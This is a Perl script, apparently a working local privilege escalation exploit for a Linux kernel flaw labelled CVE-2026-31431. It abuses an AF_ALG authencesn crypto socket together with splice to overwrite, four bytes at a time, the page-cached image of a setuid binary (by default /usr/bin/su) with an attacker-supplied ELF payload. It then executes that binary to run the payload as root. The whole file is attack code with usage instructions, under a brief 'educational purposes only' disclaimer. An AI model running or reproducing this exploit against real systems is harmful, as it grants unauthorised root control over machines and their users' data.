#!/usr/bin/env perl # # Title : CopyFail CVE-2026-31431 Linux LPE exploit, Perl version. # Date : 2026-05-15 # Author : Axura (@4xura) - https://4xura.com # # Usage: # ------ # perl exploit.pl [target_path] [payload_elf] # DEBUG=1 perl exploit.pl # # Defaults: # target_path = /usr/bin/su # payload_elf = ./payload.elf # # Notes: # ------ # Provided for educational purposes only. Use responsibly. # use strict; use warnings; use Config; use Fcntl qw(O_RDONLY); die "x86_64 Perl required\n" unless $Config{ptrsize} == 8; use constant { SYS_WRITE => 1, SYS_OPEN => 2, SYS_CLOSE => 3, SYS_PIPE => 22, SYS_SOCKET => 41, SYS_ACCEPT => 43, SYS_RECVFROM => 45, SYS_SENDMSG => 46, SYS_BIND => 49, SYS_SETSOCKOPT => 54, SYS_EXECVE => 59, SYS_SPLICE => 275, AF_ALG => 38, SOCK_SEQPACKET => 5, SOL_ALG => 279, ALG_SET_KEY => 1, ALG_SET_IV => 2, ALG_SET_OP => 3, ALG_SET_AEAD_ASSOCLEN => 4, ALG_SET_AEAD_AUTHSIZE => 5, MSG_MORE => 0x8000, }; my $DEBUG = $ENV{DEBUG} ? 1 : 0; sub ptr { return unpack("Q<", pack("P", $_[0])); } sub xsyscall { my ($name, @args) = @_; my $argc = scalar(@args); my $ret; if ($argc == 0) { $ret = syscall(); } elsif ($argc == 1) { $ret = syscall($args[0]); } elsif ($argc == 2) { $ret = syscall($args[0], $args[1]); } elsif ($argc == 3) { $ret = syscall($args[0], $args[1], $args[2]); } elsif ($argc == 4) { $ret = syscall($args[0], $args[1], $args[2], $args[3]); } elsif ($argc == 5) { $ret = syscall($args[0], $args[1], $args[2], $args[3], $args[4]); } elsif ($argc == 6) { $ret = syscall($args[0], $args[1], $args[2], $args[3], $args[4], $args[5]); } elsif ($argc == 7) { $ret = syscall($args[0], $args[1], $args[2], $args[3], $args[4], $args[5], $args[6]); } else { die "$name: unsupported syscall arity $argc\n"; } die "$name: $!\n" if !defined($ret) || $ret < 0; return $ret; } sub read_payload { my ($path) = @_; open(my $fh, "<:raw", $path) or die "open($path): $!\n"; local $/; my $payload = <$fh>; close($fh); die "empty payload: $path\n" unless defined($payload) && length($payload); return $payload; } sub open_authencesn_socket { my $tfm = xsyscall("socket(AF_ALG)", SYS_SOCKET, AF_ALG, SOCK_SEQPACKET, 0); my $sockaddr_alg = pack( "S< a14 L< L< a64", AF_ALG, "aead" . ("\0" x 10), 0, 0, "authencesn(hmac(sha256),cbc(aes))" ); xsyscall("bind(authencesn)", SYS_BIND, $tfm, ptr($sockaddr_alg), length($sockaddr_alg)); my $keyblob = pack("S< S< N", 8, 1, 16) . ("\0" x 32); xsyscall("setsockopt(ALG_SET_KEY)", SYS_SETSOCKOPT, $tfm, SOL_ALG, ALG_SET_KEY, ptr($keyblob), length($keyblob)); xsyscall("setsockopt(ALG_SET_AEAD_AUTHSIZE)", SYS_SETSOCKOPT, $tfm, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 0, 4); my $op = xsyscall("accept", SYS_ACCEPT, $tfm, 0, 0); return ($tfm, $op); } sub queue_aad { my ($op, $chunk) = @_; my $aad = "AAAA" . $chunk; my $iov = pack("Q< Q<", ptr($aad), length($aad)); my $cbuf = pack("Q< L< L< L< x4", 20, SOL_ALG, ALG_SET_OP, 0) . pack("Q< L< L< L< a16 x4", 36, SOL_ALG, ALG_SET_IV, 16, "\0" x 16) . pack("Q< L< L< L< x4", 20, SOL_ALG, ALG_SET_AEAD_ASSOCLEN, 8); my $msg = pack( "Q< L< x4 Q< Q< Q< Q< L< x4", 0, 0, ptr($iov), 1, ptr($cbuf), length($cbuf), 0 ); xsyscall("sendmsg(AAD)", SYS_SENDMSG, $op, ptr($msg), MSG_MORE); } sub splice_target_window { my ($file_fd, $op, $target_offset) = @_; my $pipebuf = "\0" x 8; xsyscall("pipe", SYS_PIPE, ptr($pipebuf)); my ($rfd, $wfd) = unpack("l< l<", $pipebuf); my $splice_len = $target_offset + 4; my $splice_off = pack("q<", 0); xsyscall("splice(file -> pipe)", SYS_SPLICE, $file_fd, ptr($splice_off), $wfd, 0, $splice_len, 0); xsyscall("splice(pipe -> AF_ALG)", SYS_SPLICE, $rfd, 0, $op, 0, $splice_len, 0); syscall(SYS_CLOSE, $rfd); syscall(SYS_CLOSE, $wfd); } sub trigger_decrypt { my ($op, $target_offset) = @_; my $rx_len = $target_offset + 8; my $rxbuf = "\0" x $rx_len; my $ret = syscall(SYS_RECVFROM, $op, ptr($rxbuf), $rx_len, 0, 0, 0); print " [-] recv() returned: $!\n" if $DEBUG && defined($ret) && $ret < 0; } sub overwrite_4_bytes { my ($file_fd, $target_offset, $chunk) = @_; $chunk .= "\0" x (4 - length($chunk)) if length($chunk) < 4; print sprintf("[+] overwrite \@ 0x%x: %s\n", $target_offset, unpack("H*", $chunk)) if $DEBUG; my ($tfm, $op) = open_authencesn_socket(); queue_aad($op, $chunk); splice_target_window($file_fd, $op, $target_offset); trigger_decrypt($op, $target_offset); syscall(SYS_CLOSE, $op); syscall(SYS_CLOSE, $tfm); } my $target = $ARGV[0] // "/usr/bin/su"; my $payload_path = $ARGV[1] // "./payload.elf"; my $payload = read_payload($payload_path); my $payload_len = length($payload); print "[+] target : $target\n"; print "[+] payload : $payload_len bytes from $payload_path\n"; print "[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write\n"; sysopen(my $target_fh, $target, O_RDONLY) or die "open(target): $!\n"; my $file_fd = fileno($target_fh); for (my $off = 0; $off < $payload_len; $off += 4) { overwrite_4_bytes($file_fd, $off, substr($payload, $off, 4)); } close($target_fh); print "[+] payload staged into page cache, executing target...\n"; my ($arg0) = ($target =~ m{([^/]+)$}); $arg0 //= $target; exec { $target } $arg0; die "execve($target): $!\n";